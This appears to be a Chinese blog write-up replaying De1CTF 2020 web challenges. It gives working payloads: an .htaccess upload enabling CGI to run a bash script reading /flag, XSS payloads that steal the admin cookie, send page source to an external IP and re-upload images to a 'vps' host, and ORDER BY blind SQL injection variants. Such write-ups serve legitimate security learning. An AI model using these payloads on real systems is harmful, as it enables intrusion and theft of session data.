De1ctf 2020 题目复盘

上次比赛的时候在愉快过的五一,这次花点时间把题目复盘一下,只有两道是纯web题,就只复现一下这两道吧。

Web

check in

上传.htaccess

1
2
Options +ExecCGI
AddHandler cgi-script.xx

再上传.xx文件,内容如下:

1
2
3
4
#!
/bin/bash
echo 
Content-type: 
text/html
echo""
cat
 /flag

总结:

  • Apache + CGI

[Apache手册]Linux环境下配置Apache运行cgi

  • 使用 \ # 可以将换行符转义成普通字符。可以在.htaccess文件中进行一定的绕过Ezphp
  • 关于.htaccess文件

查看服务器运行状态:Apache Module mod_status

如果在httpd.conf中存在如下设置(默认关闭):

1
2
3
4
<Location "/server-status">
SetHandler server-status
Require host example.com
</Location>

使用如下内容的.htaccess就可以访问到服务器上apahce的运行状态:

1
SetHandler server-status

Untitled.png

Animal crossing

这题一共有两部分,第一部分构造xss payload获取管理员cookie。第二部分要构造js上传图片并返回图片链接。这里参考了一叶飘零师傅的文章,膜一下~ (md5解析部分是直接fuzz的)

  • 第一部分

需要构造xss payload,这里构造的语句必须要让js正常解析,否则会被拦截。主要是看怎么构造执行语句的payload。wp给的是throw方式,我觉得一叶飘零师傅的payload更为简单,也好理解一些:

在一元操作符操作对象的时候,会先调用对象的valueOf方法来转换。如果在对象中定义一个valueOf的函数,就可以在转换时执行任意代码。例子:

Untitled 1.png

1
2
3
4
5
// 构造function,这题不能用
let test ={"valueOf": function(){constructor.constructor('alert(1)')()}} + 1

// 创建对象,这题的payload
let test ={"valueOf": new "".constructor.constructor(atob("YWxlcnQoMSk="))}+1

最终构造出的payload:

1
%27||%7B%22valueOf%22%3A%20new%20%22%22.constructor.constructor(atob(%22YWxlcnQoMSk%3D%22))%7D%2B1//

Untitled 2.png

构造获取cookie的payload发给管理员就可以获取cookie了,得到flag的第一部分。

Untitled 3.png

  • 第二部分

先读取管理员的页面源码:

1
/passport?image=%2Fstatic%2Fimages%2Fac4f3c6a05102c6fc5c686b18e12a855.png&island=123&fruit=123&name=123&data=%27||%7B%22valueOf%22%3A%20new%20%22%22.constructor.constructor(atob(%22bG9jYXRpb249J2h0dHA6Ly8xMjkuMjExLjkzLjI4OjMzMzMvP2NvbnRlbnQ9JytidG9hKGRvY3VtZW50LmJvZHkuaW5uZXJIVE1MKQ%3D%3D%22))%7D%2B1//

读出来的源码中有很多的img标签,但是自己访问是访问不到的:

Untitled 4.png

需要管理员端才能访问得到,这里有多种方式可以解决。

  1. 引入js,对每一张图片进行截图
  2. 头像处存在上传,将头像全部上传之后返回上传后的地址
  3. 直接读取图片的内容

wp中对第一种方式进行了解析,这里我就直接用一叶飘零的exp了,用的是第二种方式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(async()=>{
const arr = []
for(let i=1;i<=9;i++) {
res = await fetch(`/island/test_$0{i}.png`)
data = await res.blob()
const os = new FormData();
const mf = new File([data], "name.png");
os.append("file", mf);
r = await fetch("/upload", {method: "POST",body: os})
data = await r.json()
arr.push(data.data)
}
location="http://vps/?c="+btoa(JSON.stringify(arr))
})();

构造之后发包就能收到所有图片的返回地址了:

1
["/static/images/b10630fc09a475c28b547b83692df593.png","/static/images/fcacb2918b375d41c9429fc1aed33640.png","/static/images/ffe28dc27bf36328aaa7e6c2e5079061.png","/static/images/8f9e55fe22f81446f662ef476d6fad4b.png","/static/images/d02eeba37fe06e0d652ca57c8c981842.png","/static/images/8215dd3c347d92f96d46547b747319af.png","/static/images/dcb4026df64241751440b40838d2bd44.png","/static/images/14c841762659343e598bd3094fbc99fb.png","/static/images/77cafeac822d1b659c0d1858e53be931.png"]

这里就不把所有图片拼在一起了,难受。

mixture中的sql

其他题目已经看不懂了,这题就只记录一下前面关于sql注入部分的内容。这个地方的考点就是能够让列表的值进行不同的排序进行盲注,除了|,还有其他的方式。只要能够让后面的计算为变化的数值(0、1、2等等)就可以。

对于这样的orderby注入,可以利用的方式有以下几种:

1
2
3
4
5
6
7
8
9
10
11
(| 题目正解)
SELECT id,username FROM users ORDER BY user_id|1;
SELECT id,username FROM users ORDER BY user_id|2;

(^ 这个被过滤)
SELECT id,username FROM users ORDER BY user_id^1;
SELECT id,username FROM users ORDER BY user_id^2;

< (我随便找出来的,>在某些情况下可以用)
SELECT id,username FROM users ORDER BY user_id<1;
SELECT id,username FROM users ORDER BY user_id<2;

之后就是正常的盲注了。

参考

HTTP请求走私的学习 网鼎杯2020 部分Writeup
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×